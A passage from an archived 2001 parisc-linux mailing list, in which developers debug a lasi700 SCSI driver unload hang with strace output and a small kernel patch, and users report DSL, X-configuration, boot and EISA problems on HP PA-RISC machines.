  Fri, 28 Dec 2001 11:27:10 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <200112272023.fBRKN4g21408@localhost.localdomain>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13493

Hi James,

After adding the disable_irq(host->irq); to the lasi700 driver
the kernel no longer crashes, but the rmmod command now
hangs and doesn't return. The good thing is, that I now could
log in on anther terminal and get some (hopefully) useful info
for you:

All info below are taken after the "rmmod lasi700" command:

hw1306:d036493> lsmod
Module                  Size  Used by   
lasi700                 1908   0 (deleted)
53c700                 28396   0 [lasi700]

d036493@hw1306:/ > pstree -ap
init,1)
  |-atd,312)
  |-(keventd,2)
  |-(kjournald,7)
  |-..........
  |-(scsi_eh_1,402)     <- is this normal ??
  |-sshd,298)
  |   |-sshd,367)
  |   |   `-csh,368)
  |   |       `-bash,391)
  |   |           `-rmmod,404) lasi700


hw1306:~# strace rmmod lasi700
execve("/sbin/rmmod", ["rmmod", "lasi700"], [/* 14 vars */]) = 0
newuname({sys="Linux", node="hw1306", ...}) = 0
brk(0)                                  = 0x45000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 34267, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40019000
close(3)                                = 0
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2?@"..., 1024) = 1024
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40022000
mmap(NULL, 1404268, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4002a000
mprotect(0x40164000, 118124, PROT_NONE) = 0
mmap(0x40173000, 45056, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0x139000) = 0x40173000
mmap(0x4017e000, 11628, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4017e000
close(3)                                = 0
munmap(0x40019000, 34267)               = 0
query_module(NULL, 0, NULL, 0)          = 0
brk(0)                                  = 0x45000
brk(0x45120)                            = 0x45120
brk(0x46000)                            = 0x46000
query_module(NULL, QM_MODULES, { /* 6 entries */ }, 6) = 0
query_module("lasi700", QM_INFO, {address=0x870000, size=1908, flags=MOD_RUNNING, usecount=0}, 16) = 0
query_module("lasi700", QM_SYMBOLS, { /* 5 entries */ }, 5) = 0
query_module("53c700", QM_INFO, {address=0x868000, size=28396, flags=MOD_RUNNING|MOD_USED_ONCE, usecount=0}, 16) = 0
query_module("53c700", QM_SYMBOLS, { /* 7 entries */ }, 7) = 0
query_module("nfsd", QM_INFO, {address=0x854000, size=75216, flags=MOD_RUNNING|MOD_AUTOCLEAN|MOD_VISITED|MOD_USED_ONCE, usecount=8}, 16) = 0
query_module("nfsd", QM_SYMBOLS, { /* 4 entries */ }, 4) = 0
query_module("lockd", QM_INFO, {address=0x846000, size=51400, flags=MOD_RUNNING|MOD_AUTOCLEAN|MOD_VISITED|MOD_USED_ONCE, usecount=1}, 16) = 0
brk(0x47000)                            = 0x47000
query_module("lockd", QM_SYMBOLS, { /* 9 entries */ }, 9) = 0
query_module("sunrpc", QM_INFO, {address=0x834000, size=66284, flags=MOD_RUNNING|MOD_AUTOCLEAN|MOD_VISITED|MOD_USED_ONCE, usecount=1}, 16) = 0
query_module("sunrpc", QM_SYMBOLS, 0x46270, 1024, 1719) = -1 ENOSPC (No space left on device)
query_module("sunrpc", QM_SYMBOLS, { /* 68 entries */ }, 68) = 0
query_module("autofs", QM_INFO, {address=0x830000, size=11508, flags=MOD_RUNNING|MOD_AUTOCLEAN|MOD_VISITED|MOD_USED_ONCE, usecount=2}, 16) = 0
query_module("autofs", QM_SYMBOLS, { /* 22 entries */ }, 22) = 0
brk(0x4c000)                            = 0x4c000
query_module(NULL, QM_SYMBOLS, 0x46d40, 16384, 22587) = -1 ENOSPC (No space left on device)
brk(0x52000)                            = 0x52000
query_module(NULL, QM_SYMBOLS, { /* 984 entries */ }, 984) = 0
delete_module("lasi700"
<here it hangs>

Sadly I don't have a gdb here...

Helge


On Thursday 27 December 2001 21:23, James Bottomley wrote:
> As Grant says, its hard to debug this type of thing.  However, I do have a
> theory:  The free_irq() call in parisc doesn't do an irq shutdown (which
> disables the irq).  This looks like an omission, since I thought the
> behaviours of the arch irq.c's were all converging.  It is possible that an
> unhandled interrupt would cause the type of problem you describe
>
> A simple test of the theory is to try the attached patch and see if that
> fixes the problem.  If that doesn't work, I'll try to reproduce (although
> this will take a while since I'll have to construct an NFS boot
> environment).
>
> James



From - Thu Nov 08 21:20:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?q?Hinrich=20Aue?= <hinrich_aue@yahoo.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DSL on a 715/80 with rp-pppoe (Hinrich Aue)
Date: Fri, 28 Dec 2001 12:38:35 +0100 (CET)
Lines: 11
Approved: news@gmane.org
Message-ID: <20011228113835.85335.qmail@web21207.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620892 32201 80.91.229.3 (22 Nov 2014 01:48:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 28 04:38:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web21207.mail.yahoo.com (web21207.mail.yahoo.com [216.136.175.165])
	by dsl2.external.hp.com (Postfix) with SMTP id B4ADE482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Dec 2001 04:38:37 -0700 (MST)
Original-Received: from [192.69.234.30] by web21207.mail.yahoo.com via HTTP; Fri, 28 Dec 2001 12:38:35 CET
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13494

I use the 2.4.16-pa24 Kernel from CVS.
I'll try the latest CVS Version soon.
Perhaps I'll try a Modem too, to see if it's a pppd
problem or so.

__________________________________________________________________

Gesendet von Yahoo! Mail - http://mail.yahoo.de
Ihre E-Mail noch individueller? - http://domains.yahoo.de



From - Thu Nov 08 21:20:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?q?Hinrich=20Aue?= <hinrich_aue@yahoo.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Fri, 28 Dec 2001 13:43:34 +0100 (CET)
Lines: 19
Approved: news@gmane.org
Message-ID: <20011228124334.96741.qmail@web21207.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620892 32203 80.91.229.3 (22 Nov 2014 01:48:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:12 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 28 05:43:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web21207.mail.yahoo.com (web21207.mail.yahoo.com [216.136.175.165])
	by dsl2.external.hp.com (Postfix) with SMTP id 276CF482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Dec 2001 05:43:36 -0700 (MST)
Original-Received: from [192.69.234.30] by web21207.mail.yahoo.com via HTTP; Fri, 28 Dec 2001 13:43:34 CET
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13495

Hallo,

I found out, that you (Grant Grundler) already had the
same? Problem. There already was a submitted Bug.
Has somebody tried to fix that?

My error output looks like the one discribed at:

http://bugs.parisc-linux.org/db/13/132.html

I'll post the stackdump later today, from syslog.


__________________________________________________________________

Gesendet von Yahoo! Mail - http://mail.yahoo.de
Ihre E-Mail noch individueller? - http://domains.yahoo.de



From - Thu Nov 08 21:20:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Madden <madden@cms-stl.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PARISC-Linux 0.9.3 on a 735
Date: Fri, 28 Dec 2001 10:23:10 -0600
Organization: CMS
Lines: 19
Approved: news@gmane.org
Message-ID: <3C2C9C6E.D63903A7@cms-stl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620892 32207 80.91.229.3 (22 Nov 2014 01:48:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 28 09:24:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from postman.cms-stl.com (adsl-66-136-168-98.dsl.stlsmo.swbell.net [66.136.168.98])
	by dsl2.external.hp.com (Postfix) with ESMTP id E093D482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Dec 2001 09:24:08 -0700 (MST)
Original-Received: from cms-stl.com ([172.16.25.30]) by postman.cms-stl.com
          (Netscape Messaging Server 3.54)  with ESMTP id AAA6D2A
          for <parisc-linux@lists.parisc-linux.org>;
          Fri, 28 Dec 2001 10:23:10 -0600
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.7-10 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13496

Hello;

I recently installed PARISC-Linux 0.9.3 on an older 735, and I'm having
a heck of time to get X configured.  I have a HIL keyboard and mouse,
but /usr/bin/X11/xf86config presents you with options for common
pc setups (PS2 mouse, ATI video card, etc).  Is there a better way
to setup X or is this even supported at this time?

Thanks,

Michael Madden
Systems Engineer
Computerized Medical Systems
madden@cms-stl.com






From - Thu Nov 08 21:20:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rune =?iso-8859-1?Q?Nordb=F8e?= Skillingstad <runesk@linpro.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] K250 stil doesn't work
Followup-To: gmane.linux.ports.hppa
Date: Fri, 28 Dec 2001 19:10:49 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20011228181049.GA3406@scruffy.linpro.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620893 32211 80.91.229.3 (22 Nov 2014 01:48:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:13 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 28 11:10:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from linpro.no (mail.linpro.no [213.203.57.2])
	by dsl2.external.hp.com (Postfix) with SMTP id 68A9F4844
	for <parisc-linux@parisc-linux.org>; Fri, 28 Dec 2001 11:10:52 -0700 (MST)
Original-Received: (qmail 14324 invoked from network); 28 Dec 2001 18:10:49 -0000
Original-Received: from scruffy.trd.linpro.no (195.1.156.76)
  by mail.linpro.no with SMTP; 28 Dec 2001 18:10:49 -0000
Original-Received: from runesk by scruffy.trd.linpro.no with local (Exim 3.33 #1 (Debian))
	id 16K1Sz-0000vh-00
	for <parisc-linux@parisc-linux.org>; Fri, 28 Dec 2001 19:10:49 +0100
Mail-Followup-To: parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13497

I've downloaded the 0.9.3 image, and tried to install it on our K250. As
thge previous version, it doesn't boot. I have no log of the boot, as I had
no available box to connect to the serial line. I'll try once more in some
days to grab the dump log and mail it to you.

Cheers,
Rune Nordb=F8e Skillingstad
--=20
"I came out of it dead broke, without a house, without anything except a
girlfriend and a knowledge of Unix." "Well, that's something. Normally
those two are mutually exclusive"
 - Neal Stephenson, Cryptonomicon



From - Thu Nov 08 21:20:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: rmmod lasi700 hangs the machine
Date: Fri, 28 Dec 2001 21:10:02 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <200112290310.fBT3A2x03575@localhost.localdomain>
References: <helge.deller@sap.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ;
	boundary="==_Exmh_4174171510"
X-Trace: ger.gmane.org 1416620893 32215 80.91.229.3 (22 Nov 2014 01:48:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:13 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	parisc-linux@parisc-linux.org
To: Helge Deller <helge.deller@sap.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 28 20:10:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from localhost.localdomain (host194.steeleye.com [216.33.1.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 144AA482A
	for <parisc-linux@parisc-linux.org>; Fri, 28 Dec 2001 20:10:10 -0700 (MST)
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id fBT3A2x03575;
	Fri, 28 Dec 2001 21:10:03 -0600
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-Reply-To: Message from Helge Deller <helge.deller@sap.com> 
   of "Fri, 28 Dec 2001 11:23:37 +0100." <E16JuAr-0001w8-00@linuxlab.wdf.sap-ag.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13498

This is a multipart MIME message.

--==_Exmh_4174171510
Content-Type: text/plain; charset=us-ascii

After applying the kernel down_interruptible fix, the attached should be the 
final piece of the puzzle.  With it applied (and the previous disable_irq 
patch discarded), I can insert and remove the module to my heart's content.

James


--==_Exmh_4174171510
Content-Type: text/plain ; name="tmp.diff"; charset=us-ascii
Content-Description: tmp.diff
Content-Disposition: attachment; filename="tmp.diff"

Index: drivers/scsi/lasi700.c
===================================================================
RCS file: /var/cvs/linux/drivers/scsi/lasi700.c,v
retrieving revision 1.5
diff -u -r1.5 lasi700.c
--- drivers/scsi/lasi700.c	2001/12/26 22:41:16	1.5
+++ drivers/scsi/lasi700.c	2001/12/29 03:07:09
@@ -197,6 +197,7 @@
 	kfree(hostdata);
 	free_irq(host->irq, host);
 	release_mem_region(host->base, 64);
+	unregister_parisc_driver(&lasi700_driver);
 	return 1;
 }
 

--==_Exmh_4174171510--





From - Thu Nov 08 21:20:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Fri, 28 Dec 2001 22:01:03 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20011229050103.54069482A@dsl2.external.hp.com>
References: <20011228124334.96741.qmail@web21207.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620893 32219 80.91.229.3 (22 Nov 2014 01:48:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?q?Hinrich=20Aue?= <hinrich_aue@yahoo.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 28 22:01:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 54069482A; Fri, 28 Dec 2001 22:01:03 -0700 (MST)
In-Reply-To: Message from =?iso-8859-1?q?Hinrich=20Aue?= <hinrich_aue@yahoo.de> 
   of "Fri, 28 Dec 2001 13:43:34 +0100." <20011228124334.96741.qmail@web21207.mail.yahoo.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13499

=?iso-8859-1?q?Hinrich=20Aue?= wrote:
> I found out, that you (Grant Grundler) already had the
> same? Problem. There already was a submitted Bug.
> Has somebody tried to fix that?

Either Richard Hirst or Thomas Bogendoerf already fixed that.
132 should be closed since last I tried, I was able to use pppd
with the dialup modem. Sorry about that - I should have closed it.


> I'll post the stackdump later today, from syslog.

The "trap 15" is a kernel crash. That doesn't get logged
to syslog (afaik). Are you sure it's the same symptom?

grant



From - Thu Nov 08 21:20:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: rmmod lasi700 hangs the machine
Date: Fri, 28 Dec 2001 22:42:55 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20011229054255.0DB8E482A@dsl2.external.hp.com>
References: <200112290310.fBT3A2x03575@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620894 32223 80.91.229.3 (22 Nov 2014 01:48:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:14 +0000 (UTC)
Cc: Helge Deller <helge.deller@sap.com>,
	parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 28 22:42:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 0DB8E482A; Fri, 28 Dec 2001 22:42:55 -0700 (MST)
In-Reply-To: Message from James Bottomley <James.Bottomley@HansenPartnership.com> 
   of "Fri, 28 Dec 2001 21:10:02 CST." <200112290310.fBT3A2x03575@localhost.localdomain> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13500

James Bottomley wrote:
> After applying the kernel down_interruptible fix, the attached should be the 
> final piece of the puzzle.  With it applied (and the previous disable_irq 
> patch discarded), I can insert and remove the module to my heart's content.

Committed both fixes as 2.4.16-pa29.

grant



From - Thu Nov 08 21:20:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Update on [Q] on EISA
Date: Sat, 29 Dec 2001 01:19:15 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20011229011915.2fc7aa82.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620894 32226 80.91.229.3 (22 Nov 2014 01:48:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 02:19:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F9FD482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 02:19:53 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fBT9JqD06807
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 01:19:52 -0800 (PST)
Original-Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with SMTP id ABS21045;
	Sat, 29 Dec 2001 01:19:59 -0800 (PST)
X-Mailer: Sylpheed version 0.6.6 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13501

Ok,

I figured out my (self-inflicted) problems with X and newer kernel versions and I now have a -23 kernel running with an ISA NE1000 (in fact this email leaves via it). 

However with recent versions (-27, -28) no joy:
Dec 28 22:07:51 c110 kernel: Warning : device (11, 0x1e, 0x0, 0x90) NOT claimed by EISA Bus Adapter

and subsequent messages that the PCI or EISA device would not be registered when the driver tries to access it. 



On the Q how to get an EISA card going it turned out HP/UX has the necessary eisa_config utility. Unfortunately there is no equivalent Linux utility (yet...) as the other EISA platforms (i386 and alpha) can be configured by booting from diskette.


	Christian 



